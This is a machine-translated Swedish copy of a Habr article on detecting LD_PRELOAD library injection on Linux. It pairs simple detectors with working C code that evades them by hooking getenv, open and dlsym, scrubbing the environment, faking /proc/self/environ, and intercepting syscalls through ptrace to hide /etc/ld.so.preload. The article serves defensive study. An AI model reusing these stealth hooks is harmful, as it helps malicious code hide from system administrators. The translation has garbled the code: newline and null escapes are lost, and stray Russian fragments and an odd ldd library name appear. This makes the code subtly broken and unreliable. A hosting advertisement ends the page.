I jakten på LD_PRELOAD

Denna anteckning skrevs 2014, men jag hamnade precis under repressiv åtgärd på Habr och den kom aldrig ut. Under avstängningen glömde jag den, men nu har jag funnit den i mina utkast. Jag tänkte ta bort den, men kanske kan den vara till nytta för någon.

I jakten på LD_PRELOAD

Så, en liten fredagsläsning för administratörer om att hitta "aktiverade" LD_PRELOAD.

1. En kort avvikelse för dem som inte är bekanta med funktionssubstitut.

Andra kan gå direkt till punkt 2.

Låt oss börja med ett klassiskt exempel:

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main()
{
  srand (time(NULL));
  for(int i=0; i<5; i++){
    printf ("%dn", rand()%100);
  }
}

Vi kompilerar utan några flaggor:

$ gcc ./ld_rand.c -o ld_rand

Och, som väntat, får vi 5 slumpmässiga siffror mindre än 100:

$ ./ld_rand
53
93
48
57
20

Men föreställ dig att vi inte har källkoden för programmet, men måste ändra beteendet.

Låt oss skapa vårt eget bibliotek med vår egen funktionsprototyp, till exempel:

int rand(){
  return 42;
}

$ gcc -shared -fPIC ./o_rand.c -o ld_rand.so

Och nu är vårt slumpmässiga urval helt förutsägbart:

# LD_PRELOAD=$PWD/ld_rand.so ./ld_rand
42
42
42
42
42

Detta trick ser ännu mer imponerande ut om vi först exporterar vårt bibliotek via

$ export LD_PRELOAD=$PWD/ld_rand.so

eller utför det först

# echo "$PWD/ld_rand.so" > /etc/ld.so.preload

och sedan kör programmet som vanligt. Vi har inte ändrat en rad i själva programmets kod, men dess beteende beror nu på en liten funktion i vårt bibliotek. Dessutom, när denna text skrevs, fanns den falska rand inte ens.

Vad fick då vårt program att använda den falska rand? Разберем по шагам.
När applikationen startas, laddas vissa specifika bibliotek som innehåller funktionerna som krävs av programmet. Vi kan se dem använda libtommath.so.0:

# ldd ./ld_rand
        linux-vdso.so.1 (0x00007ffc8b1f3000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe3da8af000)
        /lib64/ld-linux-x86-64.so.2 (0x00007fe3daa7e000)

Denna lista kan variera beroende på OS-version, men det måste finnas en fil som heter libc.so. Just detta bibliotek tillhandahåller systemanrop och grundläggande funktioner, såsom open, malloc, printf och så vidare. Vår rand ingår också bland dem. Låt oss se till det:

# nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep " rand$"
000000000003aef0 T rand

Låt oss se om uppsättningen bibliotek ändras när vi använder LD_PRELOAD

# LD_PRELOAD=$PWD/ld_rand.so ldd ./ld_rand
        linux-vdso.so.1 (0x00007ffea52ae000)
        /scripts/c/ldpreload/ld_rand.so (0x00007f690d3f9000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f690d230000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f690d405000)

Det visar sig att den installerade variabeln LD_PRELOAD tvingar vår ld_rand.so att laddas även om programmet inte kräver den. Och eftersom vår funktion "rand" laddas före rand från libc.so, så har den kontrollen.

Okej, vi lyckades byta den ursprungliga funktionen, men hur skulle vi kunna behålla dess funktionalitet och lägga till vissa åtgärder. Vi modifierar vår slumpmässiga funktion:

#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>
 
typedef int (*orig_rand_f_type)(void);
 
int rand()
{
  /* Выполняем некий код */
  printf("Evil injected coden");
  
  orig_rand_f_type orig_rand;
  orig_rand = (orig_rand_f_type)dlsym(RTLD_NEXT,"rand");
  return orig_rand();
}

Här skriver vi bara ut en rad text som vår "tillägg", efter vilket vi skapar en pekare till den ursprungliga funktionen. randFör att få adressen till den här funktionen behöver vi dlsym — detta är en funktion från biblioteket libdl, som kommer att hitta vår rand i stacken av dynamiska bibliotek. Efter det kommer vi att kalla på denna funktion och returnera dess värde. Därför behöver vi lägga till «-ldl» vid kompilering:

$ gcc -ldl -shared -fPIC ./o_rand_evil.c -o ld_rand_evil.so

$ LD_PRELOAD=$PWD/ld_rand_evil.so ./ld_rand
Skadlig injicerad kod
66
Skadlig injicerad kod
28
Skadlig injicerad kod
93
Skadlig injicerad kod
93
Skadlig injicerad kod
95

Och vårt program använder «native» rand, efter att ha utfört vissa oönskade åtgärder.

2. Svårigheter med att upptäcka

Med vetskap om den potentiella hotbilden vill vi upptäcka vad preload har utförts. Det är tydligt att det bästa sättet att upptäcka är att gömma det i kärnan, men jag var intresserad av sättet att identifiera det från användarutrymmet.

Nästa följer par av lösningar för upptäckten och deras motverkan.

2.1. Låt oss börja med det enkla

Som nämnts tidigare kan den laddade biblioteket anges med variabeln LD_PRELOAD eller genom att skriva in den i filen /etc/ld.so.preload. Vi skapar två enkla detektorer.

Den första — för att kontrollera den angivna miljövariabeln:

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>

int main()
{
  char*  pGetenv = getenv("LD_PRELOAD");
  pGetenv != NULL ?
    printf("LD_PRELOAD (getenv) [+]n"):
    printf("LD_PRELOAD (getenv) [-]n");
}

Den andra — för att kontrollera öppnandet av en fil:

#include <stdio.h>
#include <fcntl.h>

int main()
{
  open("/etc/ld.so.preload", O_RDONLY) != -1 ?
    printf("LD_PRELOAD (open) [+]n"):
    printf("LD_PRELOAD (open) [-]n");
}

Låt oss ladda biblioteken:

$ export LD_PRELOAD=$PWD/ld_rand.so
$ echo "$PWD/ld_rand.so" > /etc/ld.so.preload

$ ./detect_base_getenv
LD_PRELOAD (getenv) [+]
$ ./detect_base_open
LD_PRELOAD (open) [+]

Här och framåt [+] indikerar framgångsrik upptäckte.
Därför innebär [-] att det har undvikit upptäckten.

Hur effektiv är en sådan detektor? Först kommer vi att fokusera på miljövariabeln:

#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <dlfcn.h>

char* (*orig_getenv)(const char *) = NULL;
char* getenv(const char *name)
{
    if(!orig_getenv) orig_getenv = dlsym(RTLD_NEXT, "getenv");
    if(strcmp(name, "LD_PRELOAD") == 0) return NULL;
    return orig_getenv(name);
}

$ gcc -shared -fpic -ldl ./ld_undetect_getenv.c -o ./ld_undetect_getenv.so
$ LD_PRELOAD=./ld_undetect_getenv.so ./detect_base_getenv
LD_PRELOAD (getenv) [-]

På samma sätt blir vi av med kontrollen open:

#define _GNU_SOURCE
#include <string.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <errno.h>

int (*orig_open)(const char*, int oflag) = NULL;

int open(const char *path, int oflag, ...)
{
    char real_path[256];
    if(!orig_open) orig_open = dlsym(RTLD_NEXT, "open");
    realpath(path, real_path);
    if(strcmp(real_path, "/etc/ld.so.preload") == 0){
        errno = ENOENT;
        return -1;
    }
    return orig_open(path, oflag);
}

$ gcc -shared -fpic -ldl ./ld_undetect_open.c -o ./ld_undetect_open.so
$ LD_PRELOAD=./ld_undetect_open.so ./detect_base_open
LD_PRELOAD (open) [-]

Ja, här kan andra sätt att få tillgång till filen användas, som open64, stat och så vidare, men i grund och botten krävs samma 5-10 rader kod för att lura dem.

2.2. Vi går vidare

Ovan använde vi getenv() för att få värdet LD_PRELOAD, men det finns också ett mer "låg-nivå" sätt att nå ENV-variabler. Låt oss inte använda mellanliggande funktioner, utan istället använda arrayen **environ, där en kopia av miljön lagras:

#include <stdio.h>
#include <string.h>

extern char **environ;
int main(int argc, char **argv) {
  int i;
  char env[] = "LD_PRELOAD";
  if (environ != NULL)
    for (i = 0; environ[i] != NULL; i++)
    {
      char * pch;
      pch = strstr(environ[i],env);
      if(pch != NULL)
      {
        printf("LD_PRELOAD (**environ) [+]n");
        return 0;
      }
    }
  printf("LD_PRELOAD (**environ) [-]n");
  return 0;
}

Eftersom vi här läser data direkt från minnet, kan ett sådant anrop inte fångas, och vår undetect_getenv hindrar redan inte detektering av intrång.

$ LD_PRELOAD=./ld_undetect_getenv.so ./detect_environ
LD_PRELOAD (**environ) [+]

Skulle man tro att problemet är löst nu? Det har bara börjat.

När programmet har startats, är värdet på variabeln LD_PRELOAD inte längre intressant för hackers, det vill säga vi kan betrakta den som borttagen innan några instruktioner körs. Naturligtvis är det en dålig programmeringspraxis att ändra en array i minnet, men kan det verkligen stoppa någon som inte har våra bästa intressen i åtanke?

För detta behöver vi skapa vår egen falska funktion init(), där vi kommer att fånga den installerade LD_PRELOAD och överföra den till vår länkare:

#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <dlfcn.h>
#include <stdlib.h>

extern char **environ;
char *evil_env;
int (*orig_execve)(const char *path, char *const argv[], char *const envp[]) = NULL;


// Создаём фейковую версию init
// которая будет вызвана при загрузке программы
// до выполнения каких-либо инструкций

void evil_init()
{
  // Сначала сохраним текущее значение LD_PRELOAD
  static const char *ldpreload = "LD_PRELOAD";
  int len = strlen(getenv(ldpreload));
  evil_env = (char*) malloc(len+1);
  strcpy(evil_env, getenv(ldpreload));

  int i;
  char env[] = "LD_PRELOAD";
  if (environ != NULL)
    for (i = 0; environ[i] != NULL; i++) {
      char * pch;
      pch = strstr(environ[i],env);
      if(pch != NULL) {
        // Избавляемся от текущего LD_PRELOAD
        unsetenv(env);
        break;
      }
    }
}

int execve(const char *path, char *const argv[], char *const envp[])
{
  int i = 0, j = 0, k = -1, ret = 0;
  char** new_env;
  if(!orig_execve) orig_execve = dlsym(RTLD_NEXT,"execve");

  // Проверям не существует ли других установленных LD_PRELOAD
  for(i = 0; envp[i]; i++){
    if(strstr(envp[i], "LD_PRELOAD")) k = i;
  }
  // Если LD_PRELOAD не было установлено до нас, то добавим его
  if(k == -1){
    k = i;
    i++;
  }
  // Создаём новое окружение
  new_env = (char**) malloc((i+1)*sizeof(char*));

  // Копируем старое окружение, за исключением LD_PRELOAD
  for(j = 0; j < i; j++) {
    // перезаписываем или создаём LD_PRELOAD
    if(j == k) {
      new_env[j] = (char*) malloc(256);
      strcpy(new_env[j], "LD_PRELOAD=");
      strcat(new_env[j], evil_env);
    }
    else new_env[j] = (char*) envp[j];
  }
  new_env[i] = NULL;
  ret = orig_execve(path, argv, new_env);
  free(new_env[k]);
  free(new_env);
  return ret;
}

Vi kör, vi kontrollerar:

$ gcc -shared -fpic -ldl -Wl,-init,evil_init  ./ld_undetect_environ.c -o ./ld_undetect_environ.so
$ LD_PRELOAD=./ld_undetect_environ.so ./detect_environ
LD_PRELOAD (**environ) [-]

2.3. /proc/self/

Men minnet är inte den sista platsen där vi kan upptäcka ersättning LD_PRELOAD, det finns även /proc/. Låt oss börja med det uppenbara /proc/{PID}/environ.

Det finns faktiskt en universallösning för undetect’en **environ och /proc/self/environ. Problemet ligger i det "felaktiga" beteendet unsetenv(env).

den korrekta varianten

void evil_init()
{
  // Först sparar vi det nuvarande värdet av LD_PRELOAD
  static const char *ldpreload = "LD_PRELOAD";
  int len = strlen(getenv(ldpreload));
  evil_env = (char*) malloc(len + 1);
  strcpy(evil_env, getenv(ldpreload));
 
  int i;
  char env[] = "LD_PRELOAD";
  if (environ != NULL)
    for (i = 0; environ[i] != NULL; i++) {
      char * pch;
      pch = strstr(environ[i], env);
      if (pch != NULL) {
        // Ta bort nuvarande LD_PRELOAD 
        // unsetenv(env);
        // Istället för unset, låt oss bara nollställa vår variabel
        for (int j = 0; environ[i][j] != ' '; j++) environ[i][j] = ' ';
        break;
      }
    }
}
$ gcc -shared -fpic -ldl -Wl,-init,evil_init  ./ld_undetect_environ_2.c -o ./ld_undetect_environ_2.so
$ (LD_PRELOAD=./ld_undetect_environ_2.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
$

Men låt oss anta att vi inte hittade den och /proc/self/environ innehåller "problematiska" data.

Först testar vi vår tidigare "maskering":

$ (LD_PRELOAD=./ld_undetect_environ.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
LD_PRELOAD=./ld_undetect_environ.so

cat använder fortfarande samma open(), så lösningen liknar den som redan har gjorts i p.2.1, men nu skapar vi en tillfällig fil där vi kopierar värden från verkligt minne utan strängar som innehåller LD_PRELOAD.

#define _GNU_SOURCE
#include <dlfcn.h>

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <limits.h>
#include <errno.h>

#define BUFFER_SIZE 256

int (*orig_open)(const char*, int oflag) = NULL;
char *soname = "fakememory_preload.so";

char *sstrstr(char *str, const char *sub)
{
  int i, found;
  char *ptr;
  found = 0;
  for(ptr = str; *ptr != ' '; ptr++) {
    found = 1;
    for(i = 0; found == 1 && sub[i] != ' '; i++){
      if(sub[i] != ptr[i]) found = 0;
    }
    if(found == 1)
      break;
  }
  if(found == 0)
    return NULL;
  return ptr + i;
}

void fakeMaps(char *original_path, char *fake_path, char *pattern)
{
  int fd;
  char buffer[BUFFER_SIZE];
  int bytes = -1;
  int wbytes = -1;
  int k = 0;

  pid_t pid = getpid();

  int fh;
  if ((fh=orig_open(fake_path,O_CREAT|O_WRONLY))==-1) {
    printf("LD: Cannot open write-file [%s] (%d) (%s)n", fake_path, errno, strerror(errno));
    exit (42);
  }
  if((fd=orig_open(original_path, O_RDONLY))==-1) {
    printf("LD: Cannot open read-file.n");
    exit(42);
  }
  do
  {
    char t = 0;
    bytes = read(fd, &t, 1);
    buffer[k++] = t;
    //printf("%c", t);
    if(t == ' ') {
      //printf("n");
  
      if(!sstrstr(buffer, "LD_PRELOAD")) {
        if((wbytes = write(fh,buffer,k))==-1) {
          //printf("write errorn");
        }
        else {
          //printf("writed %dn", wbytes);
        }
      }
      k = 0;
    }
  }
  while(bytes != 0);
    
  close(fd);
  close(fh);
}

int open(const char *path, int oflag, ...)
{
  char real_path[PATH_MAX], proc_path[PATH_MAX], proc_path_0[PATH_MAX];
  pid_t pid = getpid();
  if(!orig_open)
  orig_open = dlsym(RTLD_NEXT, "open");
  realpath(path, real_path);
  snprintf(proc_path, PATH_MAX, "/proc/%d/environ", pid);
  
  if(strcmp(real_path, proc_path) == 0) {
    snprintf(proc_path, PATH_MAX, "/tmp/%d.fakemaps", pid);
    realpath(proc_path_0, proc_path);
    
    fakeMaps(real_path, proc_path, soname);
    return orig_open(proc_path, oflag);
  }
  return orig_open(path, oflag);
}

Och detta steg är gjort:

$ (LD_PRELOAD=./ld_undetect_proc_environ.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
$

Nästa uppenbara plats är /proc/self/maps. Det är ingen mening att dröja kvar vid det. Lösningen är helt identisk med den tidigare: vi kopierar data från filen utan rader mellan libc.so och ld.so.

2.4. Chokepoint-lösningen

Denna lösning gillade jag särskilt för sin enkelhet. Vi jämför adresserna till funktionerna som laddas direkt från libc, och "NEXT"-adresserna.

#define _GNU_SOURCE

#include <stdio.h>
#include <dlfcn.h>

#define LIBC "/lib/x86_64-linux-gnu/libc.so.6"

int main(int argc, char *argv[]) {
  void *libc = dlopen(LIBC, RTLD_LAZY); // Open up libc directly
  char *syscall_open = "open";
  int i;
  void *(*libc_func)();
  void *(*next_func)();
  
  libc_func = dlsym(libc, syscall_open);
  next_func = dlsym(RTLD_NEXT, syscall_open);
  if (libc_func != next_func) {
    printf("LD_PRELOAD (syscall - %s) [+]n", syscall_open);
    printf("Libc address: %pn", libc_func);
    printf("Next address: %pn", next_func);
  }
  else {
    printf("LD_PRELOAD (syscall - %s) [-]n", syscall_open);
  }
  return 0;
}

Vi laddar biblioteket med fångsten av "open()" och kontrollerar:

$ export LD_PRELOAD=$PWD/ld_undetect_open.so
$ ./detect_chokepoint
LD_PRELOAD (system call - open) [+]
Libc address: 0x7fa86893b160
Next address: 0x7fa868a26135

Avvisandet visade sig vara ännu enklare:

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dlfcn.h>

extern void * _dl_sym (void *, const char *, void *);
void * dlsym (void * handle, const char * symbol)
{
  return _dl_sym (handle, symbol, dlsym);
}

# LD_PRELOAD=./ld_undetect_chokepoint.so ./detect_chokepoint
LD_PRELOAD (syscall - open) [-]

2.5. Systemanrop

Det skulle verka som om vi var klara här, men vi ska gräva lite djupare. Om vi skickar systemanropet direkt till kärnan, så kan vi kringgå hela interceptprocessen. Lösningen nedan är förstås arkitekturberoende (x86_64). Låt oss försöka implementera för att upptäcka öppning ld.so.preload.

#include <stdio.h>
#include <sys/stat.h>
#include <fcntl.h>

#define BUFFER_SIZE 256

int syscall_open(char *path, long oflag)
{
    int fd = -1;
    __asm__ (
             "mov $2, %%rax;" // Open syscall number
             "mov %1, %%rdi;" // Address of our string
             "mov %2, %%rsi;" // Open mode
             "mov $0, %%rdx;" // No create mode
             "syscall;"       // Straight to ring0
             "mov %%eax, %0;" // Returned file descriptor
             :"=r" (fd)
             :"m" (path), "m" (oflag)
             :"rax", "rdi", "rsi", "rdx"
             );
    return fd;
 }
int main()
{
    syscall_open("/etc/ld.so.preload", O_RDONLY) > 0 ?
      printf("LD_PRELOAD (open syscall) [+]n"):
      printf("LD_PRELOAD (open syscall) [-]n");
        
}

$ ./detect_syscall
LD_PRELOAD (open syscall) [+]

Och detta problem har en lösning. Utdrag från man's:

ptrace är ett verktyg som tillåter en överordnad process att observera och kontrollera utförandet av en annan process, samt att granska och ändra dess data och register. Denna funktion används vanligtvis för att skapa brytpunkter i program för felsökning och för att spåra systemanrop.

Den överordnade processen kan inleda spårning genom att anropa funktionen fork(2), och den resulterande barnprocessen kan utföra PTRACE_TRACEME, följt av (vanligtvis) att utföra exec(3). Å andra sidan kan den överordnade processen påbörja felsökning av en existerande process med hjälp av PTRACE_ATTACH.

Vid spårning stannar barnprocessen varje gång den får ett signal, även om denna signal ignoreras. (Undantaget är SIGKILL, som fungerar som vanligt.) Den överordnade processen informeras om detta vid anropet wait(2), efter vilket den kan granska och ändra innehållet i barnprocessen innan den startas. Därefter tillåter den överordnade processen barnet att fortsätta arbeta, ibland genom att ignorera den skickade signalen eller skicka en annan signal istället).

Således ligger lösningen i att övervaka processen genom att stoppa den före varje systemanrop och, vid behov, omdirigera flödet till en fälla-funktion.

#define _GNU_SOURCE
#include <fcntl.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <limits.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/reg.h>
#include <sys/user.h>
#include <asm/unistd.h>


#if defined(__x86_64__)
#define REG_SYSCALL ORIG_RAX
#define REG_SP rsp
#define REG_IP rip 
#endif

long NOHOOK = 0;

long evil_open(const char *path, long oflag, long cflag) 
{
    char real_path[PATH_MAX], maps_path[PATH_MAX];
    long ret;
    pid_t pid;
    pid = getpid();
    realpath(path, real_path);
    if(strcmp(real_path, "/etc/ld.so.preload") == 0)
    {
        errno = ENOENT;
        ret = -1;
    }
    else
    {
        NOHOOK = 1; // Entering NOHOOK section
        ret = open(path, oflag, cflag);
    }
    // Exiting NOHOOK section
    NOHOOK = 0;
    return ret;
}

void init()
{
    pid_t program;
    // Форкаем дочерний процесс
    program = fork();
    if(program != 0) {
        int status;
        long syscall_nr;
        struct user_regs_struct regs;
        // Подключаемся к дочернему процессу
        if(ptrace(PTRACE_ATTACH, program) != 0) {
            printf("Failed to attach to the program.n");
            exit(1);
        }
        waitpid(program, &status, 0);
        // Отслеживаем только SYSCALLs
        ptrace(PTRACE_SETOPTIONS, program, 0, PTRACE_O_TRACESYSGOOD);
        while(1) {
            ptrace(PTRACE_SYSCALL, program, 0, 0);
            waitpid(program, &status, 0);
            if(WIFEXITED(status) || WIFSIGNALED(status)) break;
            else if(WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP|0x80) {
                // Получаем номер системного вызова
                syscall_nr = ptrace(PTRACE_PEEKUSER, program, sizeof(long)*REG_SYSCALL);
                if(syscall_nr == __NR_open) {
                    // Читаем слово из памяти дочернего процесса
                    NOHOOK = ptrace(PTRACE_PEEKDATA, program, (void*)&NOHOOK);
                    // Перехватываем вызов
                    if(!NOHOOK) {
                        
                        // Копируем регистры дочернего процесса
                        // в переменную regs родительского
                        ptrace(PTRACE_GETREGS, program, 0, &regs);
                        // Push return address on the stack
                        regs.REG_SP -= sizeof(long);
                        // Копируем слово в память дочернего процесса
                        ptrace(PTRACE_POKEDATA, program, (void*)regs.REG_SP, regs.REG_IP);
                        // Устанавливаем RIP по адресу evil_open
                        regs.REG_IP = (unsigned long) evil_open;
                        // Записываем состояние регистров процесса
                        ptrace(PTRACE_SETREGS, program, 0, &regs);
                    }
                }
                ptrace(PTRACE_SYSCALL, program, 0, 0);
                waitpid(program, &status, 0);
            }
        }
        exit(0);
    }
    else {
        sleep(0);
    }
}

Kontrollerar:

$ ./detect_syscall
LD_PRELOAD (open syscall) [+]
$ LD_PRELOAD=./ld_undetect_syscall.so ./detect_syscall
LD_PRELOAD (open syscall) [-]

+0-0=5

Stort tack

Charles Hubain
Chokepoint
ValdikSS
Philippe Teuwen
derhass

, vars artiklar, källor och kommentarer har bidragit mycket mer än jag för att denna anteckning skall synas här.

Källa: habr.com

Köp pålitlig webbhotell med DDoS-skydd, VPS VDS-servrar 🔥 Köp pålitlig webbhotell med DDoS-skydd, VPS VDS-servrar | ProHoster